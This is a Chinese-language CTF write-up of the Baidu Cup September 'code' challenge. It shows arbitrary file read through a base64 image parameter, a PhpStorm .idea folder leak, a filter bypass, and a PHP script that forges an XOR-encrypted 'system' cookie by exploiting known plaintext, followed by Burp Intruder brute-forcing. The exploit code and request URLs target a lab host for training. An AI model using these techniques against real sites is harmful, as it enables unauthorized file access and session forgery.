欢迎您访问程序员文章站本站旨在为大家提供分享程序员计算机编程知识!
您现在的位置是: 首页

[百度杯] 九月场 code writeup

程序员文章站 2024-03-19 23:01:28
...

进入题目是这样的一个链接:
http://ae98dec0b0e0439a959838553d507f5876842d29b25c44c0.game.ichunqiu.com/index.php?jpg=hei.jpg
并且显示了一张图片。
查看页面源码:发现图片使用base64编码的,所谓图片base64编码,其实是页面展示图片的一种方法。平常我们见到的的图片都是一个url,通过这个url发起一次请求,从服务器下载图片,但是这就导致了一个页面要多次访问服务器。而base64编码则是直接把图片进行编码,然后把编码的得到的字符串(这个字符串非常的长)放入html里面,当浏览器请求页面时随着html一起返回给了浏览器,然后浏览器对字符串进行解码,得到一个图片。对于base64编码图片,如果开发者不小心,就可能会把非图片的文件进行编码,然后发送给浏览器。我们进行一下尝试:
http://ae98dec0b0e0439a959838553d507f5876842d29b25c44c0.game.ichunqiu.com/index.php?jpg=index.php
[百度杯] 九月场 code writeup
果然得到一串base64编码,对其进行解码得到index.php如下:

<?php
/**
 * Created by PhpStorm.
 * Date: 2015/11/16
 * Time: 1:31
 */
header('content-type:text/html;charset=utf-8');
if(! isset($_GET['jpg']))
    header('Refresh:0;url=./index.php?jpg=hei.jpg');
$file = $_GET['jpg'];
    echo '<title>file:'.$file.'</title>';
$file = preg_replace("/[^a-zA-Z0-9.]+/","", $file);
$file = str_replace("config","_", $file);
$txt = base64_encode(file_get_contents($file));

echo "<img src='data:image/gif;base64,".$txt.    "'></img>";

/*
 * Can you find the flag file?
 *
 */
?>                                                                  

分析一下index.php的代码,该文件会过滤jpg参数进行。先是进行字符串匹配,把不符合正则表达式的字符替换为空,然后将参数里面的config替换为下划线。然而另外一条重要的信息是 * Created by PhpStorm. *。查一下phpstorm,是一个php的集成开发软件,而且phpstorm在创建项目时会自动创建一个文件夹.idea。
[百度杯] 九月场 code writeup
该文件夹里有这样一些文件,我们试一下能不能访问,……..结果是可以的,其中比较关键的是 workspace.xml文件,
[百度杯] 九月场 code writeup
该文件显示有这样两个文件:fl3g_ichuqiu.php , config.php
我们肯定要去看一下fl3g_ichuqiu.php 这个文件,不过文件名里有一个下划线,会被过滤掉,利用index.php里面的过滤规则,我们用 fl3gconfigichuqiu.php 进行访问:
http://ae98dec0b0e0439a959838553d507f5876842d29b25c44c0.game.ichunqiu.com/index.php?jpg=fl3gconfigichuqiu.php
[百度杯] 九月场 code writeup
又是一个base64编码,对其解码:

<?php
/**
 * Created by PhpStorm.
 * Date: 2015/11/16
 * Time: 1:31
 */
error_reporting(E_ALL || ~E_NOTICE);
include('config.php');
function random($length, $chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnopqrstuvwxyz') {
    $hash = '';
    $max = strlen($chars) - 1;
    for($i = 0; $i < $length; $i++)  {
        $hash .= $chars[mt_rand(0, $max)];
    }
    return $hash;
}

function encrypt($txt,$key){
    for($i=0;$i<strlen($txt);$i++){
        $tmp .= chr(ord($txt[$i])+10);
    }
    $txt = $tmp;
    $rnd=random(4);
    $key=md5($rnd.$key);
    $s=0;
    for($i=0;$i<strlen($txt);$i++){
        if($s == 32) $s = 0;
        $ttmp .= $txt[$i] ^ $key[++$s];
    }
    return base64_encode($rnd.$ttmp);
}
function decrypt($txt,$key){
    $txt=base64_decode($txt);
    $rnd = substr($txt,0,4);
    $txt = substr($txt,4);
    $key=md5($rnd.$key);

    $s=0;
    for($i=0;    $i<strlen($txt);$i++){
        if($s == 32) $s = 0;
        $tmp .= $txt[$i]^$key[++$s];
    }
    for($i=0;$i<strlen($tmp);$i++){
        $tmp1 .= chr(ord($tmp[$i])-10);
    }
    return $tmp1;
}
$username = decrypt($_COO    KIE['user'],$key);
if ($username == 'system'){
    echo $flag;
}else{
    setcookie('user',encrypt('guest',$key));
    echo "╮(╯▽╰)╭"; 
}
?>                                                                                                  

里面是一个加密解密算法,关键在于加密用的$key, 可以猜到$key是定义在config.php里的,但是不能绕过过滤访问config.php,只能按照出题人的思路走。
一个关键信息是当我们的request 的 cookie里的user字段解密得不到system字符串,就会在response里的cookie的user字段里放一个’guest’加密后字符串。
$key是固定不变的,但是加密时会用$key.$rnd进行md5加密,然后利md5字符串的前几位进行加密。根据已知的’guest’加密对,我们可以得到一个$rnd,以及md5($key.$rnd)的[1:5]位,而加密’system’需要用到md5($key.$rnd)的[1:6]位,我们只需要对第六为进行字符遍历,然后进行**即可。脚本如下:

<?php
function findkey(){
    $txt='guest';
    $result='YlY1dUEbXU5L';
    $tmp = '';
    $key = '';
    $result = base64_decode($result);
    $rnd = substr($result, 0, 4);
    $result = substr($result, 4);
    for($i=0;$i<strlen($txt);$i++){
        $tmp .= chr(ord($txt[$i])+10);
        }
    $txt = $tmp;
    for ($i=0;$i<strlen($txt);$i++){
        $key .= $txt[$i] ^ $result[$i];
    }
    echo "key: " . $key;
    echo "\n";
    echo "rnd: " . $rnd;
    echo "\n";
    return array($key, $rnd);
}

function encry_special($key, $rnd){
    $chars= 'ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnopqrstuvwxyz';
    $file = fopen("encrypt.txt", "w");
    $txt = 'system';
    $tmp = '';
    for($i=0;$i<strlen($txt);$i++){
        $tmp .= chr(ord($txt[$i])+10);
        }
    $txt = $tmp;
    for ($n=0;$n<strlen($chars); $n++){
        $keytest = $key . $chars[$n];
        $ttmp = '';
        for($i=0;$i<strlen($txt);$i++){
            $ttmp .= $txt[$i] ^ $keytest[$i];
        }
        fwrite($file, base64_encode($rnd.$ttmp)."\n");
    }
}

$value = findkey();
encry_special($value[0], $value[1]);
?>

得到的密文会写入encrypt.txt文件夹里面。
[百度杯] 九月场 code writeup
然后用burpsuite的intruder模块进行**。
[百度杯] 九月场 code writeup
得到flag。
关键点有三个:
* 图片base64编码
* phpsotrm的.idea文件夹
* 加密解密

相关标签: ctf